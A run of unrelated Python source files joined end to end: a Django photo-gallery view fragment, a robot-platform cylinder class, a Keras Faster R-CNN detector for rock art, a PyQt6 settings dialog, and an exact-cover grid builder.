    return render(request,"all-photos/item.html",{"image":image})
def filter_by_location(request,location_id):
   """
   Function that filters images by location
   """
   images = Image.filter_by_location(id=location_id )
   return render (request, 'location.html', {"images":images})


# Trials of objects for the robo platform
from .ObjectBaseClass import OBC

# ALL INTERNAL LENGTH UNITS IN METERS, ANGLES IN RADIAN
# ALL EXTERNAL LENGTH UNITS IN MM, ANGLES IN DEGREE
class baseCylinder(OBC):
    """
    Cylinders are derived from ObjectBaseClass.
    These have the following additions:
     * positions: a dictionary of labels and associated locations. These can be read by the objects and taken over once an object rests on a position. Keys are integers starting at 0.
    """
    material = 'unknown'
    objectType = 'base'
    _positions = {}        # dictionary of position labels and x, y, z resting positions for samples, relative to the origin/location of the object, translated by the location of the object

    def __init__(self, **kwargs):
        self._positions = {}
        self.storeKeys += ['positions']
        self.loadKeys += ['positions']
        # now call the original init method of OBC
        super().__init__(**kwargs)

    @property
    def positions(self):
        return self._positions
    @positions.setter
    def positions(self, posDict):
        assert isinstance(posDict, dict), 'positions must be a dict'
        self._positions = posDict
        self.event(f'Object position dictionary updated to {posDict}')

class robotCylinder(baseCylinder):

    '''
    Origin centered at the bottom (i.e. one side) of the cylinder
    '''

    def __init__(self, **kwargs):

        super().__init__(**kwargs) # run the base class init

        self.diameter = 37.9 # mm
        self.height = 102.1 # mm

        # Define positions
        self.positions[0] = [0., 0., 0.]
        self.positions[1] = [0., 0., self.height]

        # Define extent
        self.extent = [-self.diameter/2., self.diameter/2., -self.diameter/2., self.diameter/2., 0., self.height]


import os
import cv2
import sys
import time
import json
import pprint
import random
import pickle

import pandas as pd
import numpy as np

from pathlib import Path
from keras.layers import Input
from keras.models import Model
from tqdm import tqdm

from . import rpn
from faster_rcnn.rpn import *
from faster_rcnn.utils import *

class RADNet():

	"""

		Class for performing detection of rock art.

	"""

	def __init__(self, C, model_rpn, model_detector, preprocess_func):

		self.is_object_threshold = 0.5
		self.bbox_threshold = 0.7
		self.C = C
		self.model_rpn = model_rpn
		self.model_detector = model_detector
		self.preprocess_func = preprocess_func
		self.class_mapping = {v: k for k, v in C.class_mapping.items()}

	# Method to transform the coordinates of the bounding box to its original size
	def get_real_coordinates(self, ratio, x1, y1, x2, y2):

		real_x1 = int(round(x1 // ratio))
		real_y1 = int(round(y1 // ratio))
		real_x2 = int(round(x2 // ratio))
		real_y2 = int(round(y2 // ratio))

		return (real_x1, real_y1, real_x2, real_y2)

	def format_img_size(self, img):

		"""

			Formats the image size based on config.

		"""
		img_min_side = float(self.C.img_size)
		(height,width,_) = img.shape

		if width <= height:
			ratio = img_min_side/width
			new_height = int(ratio * height)
			new_width = int(img_min_side)
		else:
			ratio = img_min_side/height
			new_width = int(ratio * width)
			new_height = int(img_min_side)

		img = cv2.resize(img, (new_width, new_height), interpolation=cv2.INTER_CUBIC)

		return img, ratio

	def format_img_channels(self, img):

		"""

			Formats the image channels based on config

		"""
		img = img[:, :, (2, 1, 0)]  # BGR -> RGB
		img = img.astype(np.float32)

		img = np.expand_dims(img, axis=0)
		img = self.preprocess_func(img)

		return img

	def format_img(self, img):

		"""

			Formats an image for model prediction based on config

		"""

		img, ratio = self.format_img_size(img)
		img = self.format_img_channels(img)

		return img, ratio

	def apply_spatial_pyramid_pooling(self, R, feature_map):

		bboxes = {}
		probs = {}

		for jk in range(R.shape[0]//self.C.n_rois + 1):
			ROIs = np.expand_dims(R[self.C.n_rois*jk:self.C.n_rois*(jk+1), :], axis=0)

			if ROIs.shape[1] == 0:
				break

			if jk == R.shape[0]//self.C.n_rois:
				#pad R
				curr_shape = ROIs.shape
				target_shape = (curr_shape[0], self.C.n_rois, curr_shape[2])
				ROIs_padded = np.zeros(target_shape).astype(ROIs.dtype)
				ROIs_padded[:, :curr_shape[1], :] = ROIs
				ROIs_padded[0, curr_shape[1]:, :] = ROIs[0, 0, :]
				ROIs = ROIs_padded

			[P_cls, P_regr] = self.model_detector.predict([feature_map, ROIs])

			# Calculate bboxes coordinates on resized image
			for ii in range(P_cls.shape[1]):

				# Ignore 'bg' class
				if np.max(P_cls[0, ii, :]) < self.bbox_threshold or np.argmax(P_cls[0, ii, :]) == (P_cls.shape[2] - 1):
					continue

				cls_name = self.class_mapping[np.argmax(P_cls[0, ii, :])]
				if cls_name not in bboxes:
					bboxes[cls_name] = []
					probs[cls_name] = []

				(x, y, w, h) = ROIs[0, ii, :]

				cls_num = np.argmax(P_cls[0, ii, :])
				try:
					(tx, ty, tw, th) = P_regr[0, ii, 4*cls_num:4*(cls_num+1)]
					tx /= self.C.classifier_regr_std[0]
					ty /= self.C.classifier_regr_std[1]
					tw /= self.C.classifier_regr_std[2]
					th /= self.C.classifier_regr_std[3]
					x, y, w, h = apply_regr(x, y, w, h, tx, ty, tw, th)
				except:
					pass

				bboxes[cls_name].append([self.C.rpn_stride*x, self.C.rpn_stride*y, self.C.rpn_stride*(x+w), self.C.rpn_stride*(y+h)])
				probs[cls_name].append(np.max(P_cls[0, ii, :]))

		return bboxes, probs

	def final_nms(self, boxes, probs, obj_avg_threshold=0.2, obj_confidence_threshold=0.8, n_obj_avg=5,):

		# code used from here: http://www.pyimagesearch.com/2015/02/16/faster-non-maximum-suppression-python/
		# if there are no boxes, return an empty list

		# Process explanation:
		#   Step 1: Sort the probs list
		#   Step 2: Find the larget prob 'Last' in the list and save it to the pick list
		#   Step 3: Calculate the IoU with 'Last' box and other boxes in the list. If the IoU is larger than overlap_threshold, delete the box from list
		#   Step 4: Repeat step 2 and step 3 until there is no item in the probs list

		if len(boxes) == 0:
			return []

		# grab the coordinates of the bounding boxes
		x1 = boxes[:, 0]
		y1 = boxes[:, 1]
		x2 = boxes[:, 2]
		y2 = boxes[:, 3]

		np.testing.assert_array_less(x1, x2)
		np.testing.assert_array_less(y1, y2)

		# if the bounding boxes integers, convert them to floats --
		# this is important since we'll be doing a bunch of divisions
		if boxes.dtype.kind == "i":
			boxes = boxes.astype("float")

		# initialize the list of picked indexes
		pick = []

		# calculate the areas
		area = (x2 - x1) * (y2 - y1)

		# sort the bounding boxes
		idxs = np.argsort(probs)

		# keep looping while some indexes still remain in the indexes
		# list
		while len(idxs) > 0:

			# grab the last index in the indexes list and add the
			# index value to the list of picked indexes
			last = len(idxs) - 1
			i = idxs[last]

			# find the intersection

			xx1_int = np.maximum(x1[i], x1[idxs[:last]])
			yy1_int = np.maximum(y1[i], y1[idxs[:last]])
			xx2_int = np.minimum(x2[i], x2[idxs[:last]])
			yy2_int = np.minimum(y2[i], y2[idxs[:last]])

			ww_int = np.maximum(0, xx2_int - xx1_int)
			hh_int = np.maximum(0, yy2_int - yy1_int)

			area_int = ww_int * hh_int

			# find the union
			area_union = area[i] + area[idxs[:last]] - area_int

			# compute the ratio of overlap
			overlap = area_int/(area_union + 1e-6)

			# delete all indexes from the index list that have.

			pick_idx = np.concatenate((np.where(overlap > obj_avg_threshold)[0], [last]))

			if probs[idxs[pick_idx]].max() < obj_confidence_threshold:
				conf_idx = idxs[pick_idx][-n_obj_avg:]
			else:
				conf_idx = [_id[0] for _id in np.argwhere(probs[idxs[pick_idx]] > obj_confidence_threshold)]
				conf_idx = idxs[pick_idx][conf_idx]
			#conf_idx = idxs[pick_idx][-n_obj_avg:]

			pick.append(conf_idx)
			idxs = np.delete(idxs, pick_idx)

		new_boxes = []
		new_probs = []
		for p in pick:
			new_boxes.append(np.rint(boxes[p].mean(axis=0)).astype('int'))
			new_probs.append(probs[p].mean())

		return np.array(new_boxes), np.array(new_probs)

		'''
		tmp_boxes = []
		tmp_probs = []
		for p in pick:
			if obj_avg_method == 'mean':
				tmp_boxes.append(boxes[p].mean(axis=0))
				tmp_probs.append(probs[p].mean())
			elif obj_avg_method == 'max':
				tmp_boxes.append([
					boxes[p][:, 0].min(axis=0),
					boxes[p][:, 1].min(axis=0),
					boxes[p][:, 2].max(axis=0),
					boxes[p][:, 3].max(axis=0)
				])
				tmp_probs.append(probs[p].max())

		tmp_boxes = np.array(tmp_boxes)
		tmp_probs = np.array(tmp_probs)

		# Merge new bboxes.

		x1 = tmp_boxes[:, 0]
		y1 = tmp_boxes[:, 1]
		x2 = tmp_boxes[:, 2]
		y2 = tmp_boxes[:, 3]

		np.testing.assert_array_less(x1, x2)
		np.testing.assert_array_less(y1, y2)

		pick = []
		area = (x2 - x1) * (y2 - y1)
		idxs = np.argsort(tmp_probs)

		while len(idxs) > 0:

			last = len(idxs) - 1
			i = idxs[last]

			xx1_int = np.maximum(x1[i], x1[idxs[:last]])
			yy1_int = np.maximum(y1[i], y1[idxs[:last]])
			xx2_int = np.minimum(x2[i], x2[idxs[:last]])
			yy2_int = np.minimum(y2[i], y2[idxs[:last]])

			ww_int = np.maximum(0, xx2_int - xx1_int)
			hh_int = np.maximum(0, yy2_int - yy1_int)

			area_int = ww_int * hh_int
			area_union = area[i] + area[idxs[:last]] - area_int
			overlap = area_int/(area_union + 1e-6)

			pick_idx = np.concatenate((np.where(overlap > obj_merge_threshold)[0], [last]))

			pick.append(idxs[pick_idx])
			idxs = np.delete(idxs, pick_idx)

		new_boxes = []
		new_probs = []
		for p in pick:
			new_boxes.append([
				np.rint(tmp_boxes[p][:, 0].min(axis=0)).astype('int'),
				np.rint(tmp_boxes[p][:, 1].min(axis=0)).astype('int'),
				np.rint(tmp_boxes[p][:, 2].max(axis=0)).astype('int'),
				np.rint(tmp_boxes[p][:, 3].max(axis=0)).astype('int')
			])
			new_probs.append(tmp_probs[p].max())

		return np.array(new_boxes), np.array(new_probs)
		'''
	def predict_region_proposals(self, img, gt_bboxes):

		bbox_total = []

		if self.C.max_n_tiles_train > 0:

			# Tile
			img_width = img.shape[1]
			img_height = img.shape[0]
			tile_size = self.C.tile_size
			step_size = self.C.tile_overlap

			x_tile_start =  np.arange(0, img_width, step_size)
			x_tile_end = x_tile_start + tile_size
			mask = np.where(x_tile_end <= img_width)
			x_tile_start = x_tile_start[mask]
			x_tile_end = x_tile_end[mask]
			x_tile_start = np.append(x_tile_start, [max(0, img_width - tile_size)])
			x_tile_end = np.append(x_tile_end, [img_width])
			x_tiles = np.unique([tuple([x_tile_start[i], x_tile_end[i]]) for i in range(x_tile_start.shape[0])], axis=0)

			y_tile_start =  np.arange(0, img_height, step_size)
			y_tile_end = y_tile_start + tile_size
			mask = np.where(y_tile_end <= img_height)
			y_tile_start = y_tile_start[mask]
			y_tile_end = y_tile_end[mask]
			y_tile_start = np.append(y_tile_start, [max(0, img_height - tile_size)])
			y_tile_end = np.append(y_tile_end, [img_height])
			y_tiles = np.unique([tuple([y_tile_start[i], y_tile_end[i]]) for i in range(y_tile_start.shape[0])], axis=0)

			tiles = []
			for y in y_tiles:
				for x in x_tiles:
					tiles.append([x[0], y[0], x[1], y[1]])

			pbar = tqdm(total=len(tiles))
			for tile in tiles:

				img_tile = np.copy(img[tile[1]:tile[3], tile[0]:tile[2], :])

				X, ratio = self.format_img(img_tile)

				# Get output layer Y1, Y2 from the RPN and the feature maps F
				# Y1: y_rpn_cls
				# Y2: y_rpn_regr
				[Y1, Y2, F] = self.model_rpn.predict(X)

				import matplotlib
				import matplotlib.pyplot as plt

				t = np.sum(Y1, axis=-1)

				for i in range(9):
					fig, ax = plt.subplots()
					im = ax.imshow(Y1[0, :, :, i])
					plt.colorbar(im)
					plt.title(str(i))
					plt.show()

				# Get bboxes by applying NMS
				# R.shape = (300, 4)
				R = rpn.rpn_to_roi(
					Y1,
					Y2,
					self.C,
					overlap_thresh=0.7
				)

				# convert from (x1,y1,x2,y2) to (x,y,w,h)
				#R[:, 2] -= R[:, 0]
				#R[:, 3] -= R[:, 1]
				R *= 16

				bboxes = R

				for jk in range(bboxes.shape[0]):

					(x1, y1, x2, y2) = bboxes[jk,:]

					# Calculate real coordinates on original image
					(real_x1, real_y1, real_x2, real_y2) = self.get_real_coordinates(ratio, x1, y1, x2, y2)

					bbox_total.append([
						tile[0] + real_x1,
						tile[1] + real_y1,
						tile[0] + real_x2,
						tile[1] + real_y2
					])

				pbar.update(1)

				#break

			pbar.close()

		if self.C.include_full_img:

			X, ratio = self.format_img(img)

			# Get output layer Y1, Y2 from the RPN and the feature maps F
			# Y1: y_rpn_cls
			# Y2: y_rpn_regr
			[Y1, Y2, F] = self.model_rpn.predict(X)

			Y1[0, :, :, 6] = 0.0
			Y1[0, :, :, 7] = 0.0
			Y1[0, :, :, 8] = 0.0

			import matplotlib
			import matplotlib.pyplot as plt

			t = np.sum(Y1, axis=-1)

			for i in range(9):
				fig, ax = plt.subplots()
				im = ax.imshow(Y1[0, :, :, i])
				plt.colorbar(im)
				plt.title(str(i))
				plt.show()

			# Get bboxes by applying NMS
			# R.shape = (300, 4)
			R = rpn.rpn_to_roi(
				Y1,
				Y2,
				self.C,
				overlap_thresh=0.7
			)

			# convert from (x1,y1,x2,y2) to (x,y,w,h)
			R[:, 2] -= R[:, 0]
			R[:, 3] -= R[:, 1]

			#R *= 16

			bboxes = R

			for jk in range(bboxes.shape[0]):

				(x1, y1, x2, y2) = bboxes[jk,:]

				# Calculate real coordinates on original image
				(real_x1, real_y1, real_x2, real_y2) = self.get_real_coordinates(ratio, x1, y1, x2, y2)

				bbox_total.append([
					real_x1,
					real_y1,
					real_x2,
					real_y2
				])

		bbox_total = np.array(bbox_total)

		all_dets = []

		for jk in range(bbox_total.shape[0]):

			(x1, y1, x2, y2) = bbox_total[jk,:]

			all_dets.append({
				'class': 'object',
				'prob': 1.0,
				'x1': x1,
				'y1': y1,
				'x2': x2,
				'y2': y2
			})

		true, pred = self.get_map(all_dets, gt_bboxes, ratio)

		return all_dets, true, pred

	def predict_from_path(self, img_path):

		images = []

		if self.C.use_img_type:
			for img_type in self.C.img_types:
				images.append(get_image(
					img_path,
					[img_type],
					random_type=False
				))
		else:
			images.append(get_image(
				img_path,
				self.C.img_types,
				random_type=False
			))

		return self.predict(images)

	def predict(self, images):

		all_img_all_bbox = {}
		all_img_all_probs = {}
		for img in images:

			bbox_total = {}
			probs_total = {}

			if self.C.max_n_tiles_train > 0:

				# Tile
				img_width = img.shape[1]
				img_height = img.shape[0]
				tile_size = self.C.tile_size
				step_size = self.C.tile_overlap

				x_tile_start =  np.arange(0, img_width, step_size)
				x_tile_end = x_tile_start + tile_size
				mask = np.where(x_tile_end <= img_width)
				x_tile_start = x_tile_start[mask]
				x_tile_end = x_tile_end[mask]
				x_tile_start = np.append(x_tile_start, [max(0, img_width - tile_size)])
				x_tile_end = np.append(x_tile_end, [img_width])
				x_tiles = np.unique([tuple([x_tile_start[i], x_tile_end[i]]) for i in range(x_tile_start.shape[0])], axis=0)

				y_tile_start =  np.arange(0, img_height, step_size)
				y_tile_end = y_tile_start + tile_size
				mask = np.where(y_tile_end <= img_height)
				y_tile_start = y_tile_start[mask]
				y_tile_end = y_tile_end[mask]
				y_tile_start = np.append(y_tile_start, [max(0, img_height - tile_size)])
				y_tile_end = np.append(y_tile_end, [img_height])
				y_tiles = np.unique([tuple([y_tile_start[i], y_tile_end[i]]) for i in range(y_tile_start.shape[0])], axis=0)

				tiles = []
				for y in y_tiles:
					for x in x_tiles:
						tiles.append([x[0], y[0], x[1], y[1]])

				pbar = tqdm(total=len(tiles))
				for tile in tiles:

					img_tile = np.copy(img[tile[1]:tile[3], tile[0]:tile[2], :])

					X, ratio = self.format_img(img_tile)

					# Get output layer Y1, Y2 from the RPN and the feature maps F
					# Y1: y_rpn_cls
					# Y2: y_rpn_regr
					[Y1, Y2, F] = self.model_rpn.predict(X)

					# Get bboxes by applying NMS
					# R.shape = (300, 4)
					R = rpn.rpn_to_roi(
						Y1,
						Y2,
						self.C,
						overlap_thresh=0.7
					)

					# convert from (x1,y1,x2,y2) to (x,y,w,h)
					R[:, 2] -= R[:, 0]
					R[:, 3] -= R[:, 1]

					# Apply the spatial pyramid pooling to the proposed regions
					bboxes, probs = self.apply_spatial_pyramid_pooling(R, F)

					for key in bboxes:

						bbox = np.array(bboxes[key])

						new_boxes, new_probs = rpn.non_max_suppression_fast(bbox, np.array(probs[key]), overlap_thresh=0.2)
						for jk in range(new_boxes.shape[0]):

							(x1, y1, x2, y2) = new_boxes[jk,:]

							# Calculate real coordinates on original image
							(real_x1, real_y1, real_x2, real_y2) = self.get_real_coordinates(ratio, x1, y1, x2, y2)

							if key in bbox_total:
								bbox_total[key].append([
									tile[0] + real_x1,
									tile[1] + real_y1,
									tile[0] + real_x2,
									tile[1] + real_y2
								])
							else:
								bbox_total[key] = [[
									tile[0] + real_x1,
									tile[1] + real_y1,
									tile[0] + real_x2,
									tile[1] + real_y2
								]]

							if key in probs_total:
								probs_total[key].append(new_probs[jk])
							else:
								probs_total[key] = [new_probs[jk]]

					pbar.update(1)

				pbar.close()

			if self.C.include_full_img:

				X, ratio = self.format_img(img)

				#X = np.transpose(X, (0, 2, 3, 1))

				# Get output layer Y1, Y2 from the RPN and the feature maps F
				# Y1: y_rpn_cls
				# Y2: y_rpn_regr
				[Y1, Y2, F] = self.model_rpn.predict(X)

				# Get bboxes by applying NMS
				# R.shape = (300, 4)
				R = rpn.rpn_to_roi(
					Y1,
					Y2,
					self.C,
					overlap_thresh=0.7
				)

				# convert from (x1,y1,x2,y2) to (x,y,w,h)
				R[:, 2] -= R[:, 0]
				R[:, 3] -= R[:, 1]

				# Apply the spatial pyramid pooling to the proposed regions
				bboxes, probs = self.apply_spatial_pyramid_pooling(R, F)

				all_dets = []

				for key in bboxes:

					bbox = np.array(bboxes[key])

					new_boxes, new_probs = rpn.non_max_suppression_fast(bbox, np.array(probs[key]), overlap_thresh=0.2)
					for jk in range(new_boxes.shape[0]):

						(x1, y1, x2, y2) = new_boxes[jk,:]

						# Calculate real coordinates on original image
						(real_x1, real_y1, real_x2, real_y2) = self.get_real_coordinates(ratio, x1, y1, x2, y2)

						if key in bbox_total:
							bbox_total[key].append([
								real_x1,
								real_y1,
								real_x2,
								real_y2
							])
						else:
							bbox_total[key] = [[
								real_x1,
								real_y1,
								real_x2,
								real_y2
							]]

						if key in probs_total:
							probs_total[key].append(new_probs[jk])
						else:
							probs_total[key] = [new_probs[jk]]

			all_dets = []

			for key in bbox_total:

				new_boxes, new_probs = self.final_nms(
					np.array(bbox_total[key]),
					np.array(probs_total[key]),
					obj_avg_threshold=0.2,
					obj_confidence_threshold=0.8,
					n_obj_avg=5,
				)

				#new_boxes, new_probs = np.array(bbox_total[key]), np.array(probs_total[key])
				for jk in range(new_boxes.shape[0]):

					(x1, y1, x2, y2) = new_boxes[jk,:]

					if key in all_img_all_bbox:
						all_img_all_bbox[key].append([x1, y1, x2, y2])
					else:
						all_img_all_bbox[key] = [[x1, y1, x2, y2]]

					if key in all_img_all_probs:
						all_img_all_probs[key].append(new_probs[jk])
					else:
						all_img_all_probs[key] = [new_probs[jk]]

		all_img_all_dets = []
		for key in all_img_all_bbox:

			new_boxes, new_probs = rpn.non_max_suppression_fast(
				np.array(all_img_all_bbox[key]),
				np.array(all_img_all_probs[key]),
				overlap_thresh=0.4
			)
			#new_boxes, new_probs = np.array(bbox_total[key]), np.array(probs_total[key])

			for jk in range(new_boxes.shape[0]):

				(x1, y1, x2, y2) = new_boxes[jk,:]

				all_img_all_dets.append({
					'class': key,
					'prob': new_probs[jk],
					'x1': x1,
					'y1': y1,
					'x2': x2,
					'y2': y2
				})

		return all_img_all_dets

def load_radnet(config_path):

	C = pickle.load(open(config_path, 'rb'))

	# Load base model.
	if C.network == 'vgg16':
		from faster_rcnn.base_models import vgg16 as base_model
	elif C.network == 'resnet50':
		from faster_rcnn.base_models import resnet50 as base_model
	else:
		print('Not a valid base model!')
		sys.exit(1)

	if C.network == 'vgg16':
		n_features = 512
	elif C.network == 'resnet50':
		n_features = 1024

	input_shape_img = (None, None, 3)
	input_shape_features = (None, None, n_features)

	img_input = Input(shape=input_shape_img)
	roi_input = Input(shape=(C.n_rois, 4))
	feature_map_input = Input(shape=input_shape_features)

	# Define base network with shared layers.
	base_net_output_layer = base_model.nn_base(img_input, trainable=True, weights=None)

	# Load RPN Network.
	n_anchors = len(C.anchor_box_scales) * len(C.anchor_box_ratios)
	rpn_layers = rpn_layer(base_net_output_layer, n_anchors)
	model_rpn = Model(img_input, rpn_layers)
	model_rpn.load_weights(Path(C.weights_path.replace('\\', '/')), by_name=True)
	model_rpn.compile(optimizer='sgd', loss='mse')

	#for i, layer in enumerate(model_rpn.layers):
	#	print(i, layer.name, layer.output_shape, layer.trainable)

	# Load detector.
	detector_layers = base_model.classifier_layer(
		feature_map_input,
		roi_input,
		C.n_rois,
		nb_classes=len(C.class_mapping)
	)
	#model_detector_only = Model([feature_map_input, roi_input], detector_layers)
	model_detector = Model([feature_map_input, roi_input], detector_layers)
	model_detector.load_weights(Path(C.weights_path.replace('\\', '/')), by_name=True)
	model_detector.compile(optimizer='sgd', loss='mse')

	#for i, layer in enumerate(model_detector.layers):
	#	print(i, layer.name, layer.output_shape, layer.trainable)

	return RADNet(C, model_rpn, model_detector, base_model.preprocess)


from multiprocessing import cpu_count

from PyQt6.QtWidgets import QDialog, QMainWindow
from PyQt6.QtCore import Qt

from ...logika.wielowatkowosc.analizator_zdjec import AnalizatorZdjec
from ..designer.ustawienia_zasobow_designer import Ui_Dialog

class UstawieniaZasobow(QDialog):
    '''Okno ustawień zużycia zasobów'''

    def __init__(self, glowne_okno: QMainWindow, analizator: AnalizatorZdjec) -> None:
        super().__init__()

        self.resize(800, 200)
        self.__glowne_okno = glowne_okno
        self.__analizator = analizator

        self.ui = Ui_Dialog()
        self.ui.setupUi(self)
        self.setWindowTitle("Ustawienia zasobów")

        self.ui.suwak.setMaximum(cpu_count())
        self.ui.suwak.valueChanged.connect(lambda: self.ui.wartosc.setText(str(self.ui.suwak.value())))
        self.ui.suwak.valueChanged.connect(lambda: self.__analizator.zmien_limit_procesow(self.ui.suwak.value()))

    def otworz(self):
        '''Otwiera okno z ustawieniami zużycia zasobów'''

        self.setStyleSheet(self.__glowne_okno.styleSheet())
        self.ui.suwak.setValue(self.__analizator.maks_liczba_procesow)

        self.setWindowModality(Qt.WindowModality.ApplicationModal)
        self.exec()


import build_matrix as bx
import os

GRID_DIR = 'grids'
try:
    os.stat(GRID_DIR)
except:
    print ('Creating', GRID_DIR)
    os.mkdir(GRID_DIR)
TEXT_DIR = 'text'

def build_soma():

    grid = bx.build_from_txt(os.path.join(TEXT_DIR, 'soma.txt'), 7, 3)
    bx.save(os.path.join(GRID_DIR, 'soma.csv'), grid)

def build_bedlam():
    grid = bx.build_from_txt(os.path.join(TEXT_DIR, 'bedlam.txt'), 13, 4)
    bx.save(os.path.join(GRID_DIR, 'bedlam.csv'), grid)

def build_wiki_example():
    universe = {1, 2, 3, 4, 5, 6, 7}
    A = {1, 4, 7}
    B = {1, 4}
    C = {4, 5, 7}
    D = {3, 5, 6}
    E = {2, 3, 6, 7}
    F = {2, 7}
    sets = [A, B, C, D, E, F]
    grid = bx.build_from_sets(universe, sets)
    bx.save(os.path.join(GRID_DIR, 'wiki_example.csv'), grid)

def build_example():
    S = {1, 2, 3, 4, 5}
    A1 = {1, 5}
    A2 = {2, 4}
    A3 = {2, 3}
    A4 = {3}
    A5 = {1, 4, 5}
    sets = [A1, A2, A3, A4, A5]
    grid = bx.build_from_sets(S, sets)
    bx.save(os.path.join(GRID_DIR, 'example.csv'), grid)

def build_knuth():
    S = {1, 2, 3, 4, 5, 6, 7}
    A1 = {3, 5, 6}
    A2 = {1, 4, 7}
    A3 = {2, 3, 6}
    A4 = {1, 4}
    A5 = {2, 7}
    A6 = {4, 5, 7}
    sets = [A1, A2, A3, A4, A5, A6]
    grid = bx.build_from_sets(S, sets)
    bx.save(os.path.join(GRID_DIR, 'knuth.csv'), grid)

if __name__ == '__main__':
    pass
    build_wiki_example()
    build_soma()
    build_example()
    build_bedlam()
    build_knuth()